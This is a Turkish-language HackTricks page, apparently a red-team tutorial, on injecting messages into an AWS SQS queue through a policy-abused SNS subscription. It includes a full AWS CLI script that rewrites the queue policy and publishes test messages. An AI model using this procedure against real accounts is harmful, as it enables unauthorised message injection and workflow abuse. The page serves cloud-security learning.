AWS – SQS Hesaplar Arası/Aynı Hesap Enjeksiyonu SNS Subscription + Queue Policy üzerinden

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Açıklama

Bir SQS kuyruk kaynak politikasını kötüye kullanarak saldırgan kontrolündeki bir SNS topic’in hedef SQS kuyruğuna mesaj yayınlamasına izin verin. Aynı hesapta, bir SNS topic’e yapılan SQS subscription otomatik olarak onaylanır; hesaplar arası durumda ise SubscriptionConfirmation token’ını kuyruktan okuyup ConfirmSubscription’ı çağırmanız gerekir. Bu, aşağı akıştaki tüketicilerin zımnen güvenebileceği güvenilmez mesaj enjeksiyonuna olanak sağlar.

Gereksinimler

  • Hedef SQS kuyruk kaynak politikasını değiştirme yetkisi: hedef kuyruk üzerinde sqs:SetQueueAttributes.
  • Saldırgan kontrolündeki bir SNS topic oluşturma/yayınlama yeteneği: saldırgan hesabı/topic üzerinde sns:CreateTopic, sns:Publish ve sns:Subscribe.
  • Sadece hesaplar arası: onay token’ını okumak ve sns:ConfirmSubscription çağrısı yapmak için hedef kuyrukta geçici sqs:ReceiveMessage.

Aynı hesapta istismar

REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Hesaplar arası notlar

  • Yukarıdaki kuyruk politikası yabancı TOPIC_ARN’e (saldırgan hesabı) izin vermelidir.
  • Abonelikler otomatik olarak onaylanmaz. SubscriptionConfirmation mesajını okumak için hedef kuyruğa kendinize geçici sqs:ReceiveMessage izni verin ve ardından Token’ını kullanarak sns confirm-subscription çağrısı yapın.

Etki

Olası Etki: SNS aracılığıyla güvenilen bir SQS kuyruğuna sürekli izinsiz mesaj enjeksiyonu; bu, istenmeyen işlemlere, veri kirliliğine veya iş akışı suistimaline yol açabilir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin